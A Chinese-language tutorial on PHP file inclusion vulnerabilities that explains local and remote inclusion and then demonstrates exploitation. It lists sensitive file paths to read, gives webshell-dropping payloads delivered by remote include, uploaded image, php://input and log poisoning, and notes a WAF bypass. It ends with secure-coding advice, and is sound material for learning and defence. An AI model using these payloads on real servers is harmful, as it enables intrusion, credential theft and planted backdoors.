0x00 前言
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件而无需再次编写,这种调用文件的过程被称为包含。被包含的文件设置为变量,用来动态调用时,导致客户端可以调用一个恶意文件,造成文件包含漏洞。
0x01 文件包含函数
- require:找不到被包含文件时会产生错误(E_COMPILE_ERROR),并停止脚本
- include:找不到被包含文件时只会产生警告(E_WARNING),脚本将继续执行
- include_once:同include,若该文件中的代码已经被包含,则不会再次包含
- require_once:同require,若该文件中的代码已经被包含,则不会再次包含
0x02 漏洞形成条件
- allow_url_fopen=On(本地包含)
- allow_url_include=On(远程包含)
- 用户可以动态控制变量
0x03 本地包含(Local File Include)
-
index.php文件中包含phpinfo.txt
phpinfo.txt: <?php phpinfo(); ?> index.php: <?php include("phpinfo.txt"); ?>
-
任意文件包含
<?php $filename = $_GET['filename']; include($filename); ?>
$filename可控且参数没有做任何过滤时,输入恶意文件,导致执行非预期的代码
-
文件内容符合php语法规范,任何扩展名都可以被php解析
-
包含非php语法规范文件时,将会暴露其源代码
0x04 远程包含(Remote File Include)
- 任意远程文件包含
index.php:
<?php
$filename = $_GET['page'];
include($page);
?>
phpinfo.txt:
<?php
phpinfo();
?>
http://www.xxer.com/index.php?page=http://192.168.31.87/fi/phpinfo.txt
0x05 文件包含利用
读取敏感文件
- Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置文件
- UNIX/Linux系统
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf//虛拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql的配置文件
远程包含shell
echo.txt:
<?fputs(fopen("shell.php","w"),"<?php eval_($POST['0xdawn'];)?>")?>
访问 http://www.xxer.com/index.php?page=http://192.168.31.87/echo.txt
将会在index.php所在目录下生成shell.php
本地包含+文件上传
shell.jpg:
<?fputs(fopen("shell.php","w"),"<?php eval_($POST['0xdawn'];)?>")?>
上传一句话木马图片到服务器,路径为/uploadfile/shell.jpg
访问 http://www.xxer.com/index.php?page=./uploadfile/shell.jpg
将会在index.php所在目录下生成shell.php
php封装协议
名称 | 含义 |
---|---|
file:// | 访问本地文件 |
http:// | 访问http网址 |
ftp:// | 访问FTP URL |
php:// | 访问输入/输出流 |
zlib:// | 压缩流 |
data:// | 数据 |
ssh2:// | secure shell 2 |
expect:// | 处理交互式流 |
glob:// | 查找匹配的文件路径 |
- 读取php文件
http://www.xxer.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
得到base64加密后的php源代码
- 写入php文件
http://www.xxer.com/index.php?page=php://input
POST:<?fputs(fopen("shell.php"),"<?php eval($POST['0xdawn']);?>")?>
在index.php目录下生成shell.php
- 包含apache日志文件
Apache运行后默认生成两个日志文件,access.log(访问日志)和error.log(错误日志)
访问url:http://www.xxer.com/<?php phpinfo();?>,Apache记录请求并写入access.log文件
- 绕WAF
上传一句话木马图片再在php文件中包含这个木马图片,可以绕过部分杀软
0x06 安全编写包含
- 严格判断包含中的参数是否外部可控
- 限制被包含的文件只能在某一文件夹中,进制目录跳转字符
- 验证被包含的文件是否在白名单中
- 尽量不使用动态包含